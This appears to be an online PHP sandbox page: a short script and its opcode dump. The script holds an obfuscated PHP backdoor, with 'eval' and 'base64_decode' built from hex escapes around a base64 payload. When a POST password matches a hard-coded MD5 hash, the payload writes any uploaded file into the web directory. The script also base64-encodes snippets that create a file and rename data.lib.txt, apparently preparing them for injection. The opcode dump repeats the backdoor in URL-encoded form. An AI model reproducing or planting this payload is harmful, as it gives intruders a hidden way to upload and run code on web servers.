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<?php $u = ' <?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("./rape.php",\'test\');'; $v = 'rename("data.lib.txt", "data.lib.txt2");'; echo base64_encode($v);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/h3T1o
function name:  (null)
number of ops:  8
compiled vars:  !0 = $u, !1 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, '+%3C%3FPHP+%24a%3D%22%22%3B++%24a%3D+%22%5Cx65%22.+%22v%5Cx61%22.%22l%22%3B%24b%3D%22%5Cx62%5Cx61%22.%22s%22.%22%5Cx656%22.%224_%5Cx64%5Cx65%22.%22%5Cx63o%5Cx64%22.%22%5Cx65%22%3B%24a%28%24b%28aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9%29%29%3B'
    4     1        ASSIGN                                                   !1, 'file_put_contents%28%22.%2Frape.php%22%2C%27test%27%29%3B'
    7     2        ASSIGN                                                   !1, 'rename%28%22data.lib.txt%22%2C+%22data.lib.txt2%22%29%3B'
    8     3        INIT_FCALL                                               'base64_encode'
          4        SEND_VAR                                                 !1
          5        DO_ICALL                                         $5      
          6        ECHO                                                     $5
          7      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.76 ms | 1394 KiB | 15 Q